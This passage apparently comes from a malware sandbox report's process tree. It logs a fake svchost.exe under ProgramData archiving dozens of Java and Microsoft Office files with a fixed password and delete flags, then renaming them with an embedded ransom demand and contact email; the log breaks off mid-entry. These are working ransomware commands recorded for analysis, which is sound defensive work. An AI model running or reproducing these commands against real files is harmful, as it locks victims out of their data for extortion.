                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Java\jdk-1.8\jre\lib\deploy\ffjcext.zip(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Java\jdk-1.8\jre\lib\deploy\ffjcext.zip" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                  2⤵
                                                                                                  • Drops file in Program Files directory
                                                                                                  PID:4932
                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Java\jdk-1.8\jre\lib\jvm.hprof.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Java\jdk-1.8\jre\lib\jvm.hprof.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                  2⤵
                                                                                                    PID:5256
                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Java\jdk-1.8\jre\lib\security\public_suffix_list.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Java\jdk-1.8\jre\lib\security\public_suffix_list.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                    2⤵
                                                                                                      PID:2316
                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Java\jdk-1.8\jre\lib\tzdb.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Java\jdk-1.8\jre\lib\tzdb.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                      2⤵
                                                                                                        PID:5836
                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Java\jdk-1.8\jre\README.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Java\jdk-1.8\jre\README.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                        2⤵
                                                                                                          PID:5040
                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Java\jdk-1.8\jre\THIRDPARTYLICENSEREADME-JAVAFX.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Java\jdk-1.8\jre\THIRDPARTYLICENSEREADME-JAVAFX.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                          2⤵
                                                                                                            PID:3648
                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Java\jdk-1.8\jre\THIRDPARTYLICENSEREADME.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Java\jdk-1.8\jre\THIRDPARTYLICENSEREADME.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                            2⤵
                                                                                                              PID:3856
                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Java\jdk-1.8\jvisualvm.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Java\jdk-1.8\jvisualvm.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                              2⤵
                                                                                                                PID:2448
                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Java\jdk-1.8\THIRDPARTYLICENSEREADME-JAVAFX.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Java\jdk-1.8\THIRDPARTYLICENSEREADME-JAVAFX.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                2⤵
                                                                                                                  PID:3936
                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Java\jdk-1.8\THIRDPARTYLICENSEREADME.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Java\jdk-1.8\THIRDPARTYLICENSEREADME.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                  2⤵
                                                                                                                    PID:1732
                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Java\jre-1.8\bin\server\Xusage.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Java\jre-1.8\bin\server\Xusage.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                    2⤵
                                                                                                                      PID:4332
                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Java\jre-1.8\lib\deploy\ffjcext.zip(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Java\jre-1.8\lib\deploy\ffjcext.zip" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                      2⤵
                                                                                                                        PID:4292
                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Java\jre-1.8\lib\jvm.hprof.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Java\jre-1.8\lib\jvm.hprof.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                        2⤵
                                                                                                                          PID:3928
                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Java\jre-1.8\lib\security\public_suffix_list.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Java\jre-1.8\lib\security\public_suffix_list.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                          2⤵
                                                                                                                            PID:1648
                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Java\jre-1.8\lib\tzdb.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Java\jre-1.8\lib\tzdb.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                            2⤵
                                                                                                                              PID:5956
                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Java\jre-1.8\README.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Java\jre-1.8\README.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                              2⤵
                                                                                                                                PID:640
                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Java\jre-1.8\THIRDPARTYLICENSEREADME-JAVAFX.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Java\jre-1.8\THIRDPARTYLICENSEREADME-JAVAFX.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                2⤵
                                                                                                                                  PID:6008
                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Java\jre-1.8\THIRDPARTYLICENSEREADME.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Java\jre-1.8\THIRDPARTYLICENSEREADME.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                  2⤵
                                                                                                                                    PID:2192
                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\LimitUse.docx(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\LimitUse.docx" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                    2⤵
                                                                                                                                      PID:5488
                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\AppXManifest.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\AppXManifest.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                      2⤵
                                                                                                                                        PID:628
                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\FileSystemMetadata.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\FileSystemMetadata.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                        2⤵
                                                                                                                                          PID:1844
                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\Office16\SLERROR.XML(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\Office16\SLERROR.XML" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                          2⤵
                                                                                                                                            PID:4348
                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                            2⤵
                                                                                                                                              PID:5092
                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                              2⤵
                                                                                                                                                PID:4312
                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                2⤵
                                                                                                                                                  PID:2716
                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                  2⤵
                                                                                                                                                    PID:2096
                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                    2⤵
                                                                                                                                                      PID:456
                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                      2⤵
                                                                                                                                                        PID:5044
                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                        2⤵
                                                                                                                                                          PID:4496
                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                          2⤵
                                                                                                                                                            PID:4120
                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                            2⤵
                                                                                                                                                              PID:2900
                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                              2⤵
                                                                                                                                                                PID:5680
                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:3912
                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:3584
                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:4748
                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:3816
                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:1696
                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:5608
                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:3172
                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:532
                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:2016
                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:5684
                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:1220
                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:4720
                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:3860
                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-3102-0000-1000-0000000FF1CE.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-3102-0000-1000-0000000FF1CE.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:3808
                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.common.16.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.common.16.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:4412
                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AppXManifestLoc.16.en-us.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AppXManifestLoc.16.en-us.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:1636
                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\PackageManifests\AuthoredExtensions.16.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\PackageManifests\AuthoredExtensions.16.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:5456
                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Aspect.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Aspect.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:6056
                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Blue Green.xml(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Blue Green.xml" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:1472
                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
